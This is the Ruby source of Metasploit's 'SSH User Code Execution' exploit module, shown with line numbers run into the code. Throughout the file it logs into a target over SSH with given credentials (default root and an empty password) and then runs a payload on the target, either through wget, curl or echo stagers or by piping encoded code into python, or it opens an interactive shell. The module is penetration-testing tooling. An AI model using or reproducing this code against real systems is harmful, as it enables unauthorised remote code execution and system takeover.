Path: blob/master/modules/exploits/multi/ssh/sshexec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::SSH1011attr_accessor :ssh_socket1213def initialize14super(15'Name' => 'SSH User Code Execution',16'Description' => %q(17This module connects to the target system and executes the necessary18commands to run the specified payload via SSH. If a native payload is19specified, an appropriate stager will be used.20),21'Author' => ['Spencer McIntyre', 'Brandon Knight'],22'References' => [23[ 'CVE', '1999-0502'] # Weak password24],25'License' => MSF_LICENSE,26'Privileged' => true,27'DefaultOptions' => {28'PrependFork' => 'true',29'EXITFUNC' => 'process'30},31'Payload' => {32'Space' => 800000,33'BadChars' => "",34'DisableNops' => true35},36'Platform' => %w[linux osx unix python bsd],37'CmdStagerFlavor' => %w[bourne echo printf wget],38'Targets' => [39[40'Linux Command',41{42'Arch' => ARCH_CMD,43'Platform' => 'linux'44}45],46[47'Linux x86',48{49'Arch' => ARCH_X86,50'Platform' => 'linux'51}52],53[54'Linux x64',55{56'Arch' => ARCH_X64,57'Platform' => 'linux'58}59],60[61'Linux armle',62{63'Arch' => ARCH_ARMLE,64'Platform' => 'linux'65}66],67[68'Linux mipsle',69{70'Arch' => ARCH_MIPSLE,71'Platform' => 'linux',72'CmdStagerFlavor' => %w[curl wget]73}74],75[76'Linux mipsbe',77{78'Arch' => ARCH_MIPSBE,79'Platform' => 'linux',80'CmdStagerFlavor' => %w[wget]81}82],83[84'Linux aarch64',85{86'Arch' => ARCH_AARCH64,87'Platform' => 'linux'88}89],90[91'OSX x86',92{93'Arch' => ARCH_X86,94'Platform' => 'osx',95'CmdStagerFlavor' => %w[curl wget]96}97],98[99'OSX x64',100{101'Arch' => ARCH_X64,102'Platform' => 'osx',103'CmdStagerFlavor' => %w[curl wget]104}105],106[107'BSD x86',108{109'Arch' => ARCH_X86,110'Platform' => 'bsd',111'CmdStagerFlavor' => %w[printf curl wget]112}113],114[115'BSD x64',116{117'Arch' => ARCH_X64,118'Platform' => 'bsd',119'CmdStagerFlavor' => %w[printf curl wget]120}121],122[123'Python',124{125'Arch' => ARCH_PYTHON,126'Platform' => 'python'127}128],129[130'Unix Cmd',131{132'Arch' => ARCH_CMD,133'Platform' => 'unix'134}135],136[137'Interactive SSH',138{139'DefaultOptions' => {140'PAYLOAD' => 'generic/ssh/interact',141'WfsDelay' => 5142},143'Payload' => {144'Compat' => {145'PayloadType' => 'ssh_interact',146}147}148}149]150],151'DefaultTarget' => 0,152# For the CVE153'DisclosureDate' => 'Jan 01 1999',154'Notes' => {155'Stability' => [ CRASH_SAFE, ],156'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],157'Reliability' => [ REPEATABLE_SESSION, ],158},159)160161register_options(162[163OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),164OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),165Opt::RHOST(),166Opt::RPORT(22)167]168)169170register_advanced_options(171[172OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])173]174)175end176177def execute_command(cmd, opts = {})178vprint_status("Executing #{cmd}")179begin180Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }181rescue Timeout::Error182print_warning('Timed out while waiting for command to return')183@timeout = true184end185end186187def do_login(ip, user, pass, port)188opt_hash = ssh_client_defaults.merge({189auth_methods: ['password', 'keyboard-interactive'],190port: port,191password: pass192})193194opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']195196begin197self.ssh_socket = Net::SSH.start(ip, user, opt_hash)198rescue Rex::ConnectionError199fail_with(Failure::Unreachable, 'Disconnected during negotiation')200rescue Net::SSH::Disconnect, ::EOFError201fail_with(Failure::Disconnected, 'Timed out during negotiation')202rescue Net::SSH::AuthenticationFailed203fail_with(Failure::NoAccess, 'Failed authentication')204rescue Net::SSH::Exception => e205fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")206end207208fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket209end210211def binary_exists(binary, platform: nil)212Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))213end214215def execute_python216python_binary = binary_exists('python', platform: 'unix')217python_binary ||= binary_exists('python3', platform: 'unix')218python_binary ||= binary_exists('python2', platform: 'unix')219fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?220221execute_command("echo \"#{payload.encoded}\" | #{python_binary}")222end223224def exploit225do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])226227if target.name == 'Interactive SSH'228handler(ssh_socket)229return230end231232print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")233234case target['Platform']235when 'python'236execute_python237when 'unix'238execute_command(payload.encoded)239else240if target['Arch'] == ARCH_CMD241execute_command(payload.encoded)242else243execute_cmdstager(linemax: 500)244end245end246247@timeout ? ssh_socket.shutdown! : ssh_socket.close248end249end250251252